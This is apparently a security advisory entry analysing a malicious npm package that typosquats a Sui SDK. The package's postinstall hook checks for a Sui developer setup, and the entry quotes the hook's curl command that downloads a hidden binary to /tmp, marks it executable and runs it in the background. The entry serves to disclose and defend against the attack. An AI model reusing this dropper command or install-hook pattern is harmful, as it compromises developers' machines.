The entire payload is the postinstall hook. package.json declares `\"postinstall\": \"node install.js\"`; install.js checks whether the host is a Sui developer (presence of the `sui` binary or `~/.sui/sui_config/client.yaml`) and then runs `curl -s -L -o /tmp/.sui-helper ${implantUrl} && chmod +x /tmp/.sui-helper && /tmp/.sui-helper &` to fetch, stage, and background-execute an attacker binary at a hidden /tmp path. The variable is literally named `implantUrl` with the comment `PUT YOUR ACTUAL 0x0.st URL HERE`, identifying the intended payload host as the anonymous 0x0.st file dump. The URL is currently an empty string in this published version (staged/broken release), so today's install does not actually fetch a binary, but the dropper scaffolding, target-gating, hidden staging path, backgrounded execution, and typosquat-of-a-Sui-SDK lure are unambiguous. Any subsequent republish trivially fills the URL. The combination of hostile-named scaffolding, dev-machine-targeting gate, anonymous-host comment, and hollow library content satisfies the namespace-abuse-typosquat-with-payload and generic-binary-runner-dropper patterns.\n\n## Source: ghsa-malware (bf10092b7f2bbc98982554a98e320cf2fb9a56438a77f90e2749857026e2bfb8)\nAny computer that has this package installed or running should be considered fully compromised.
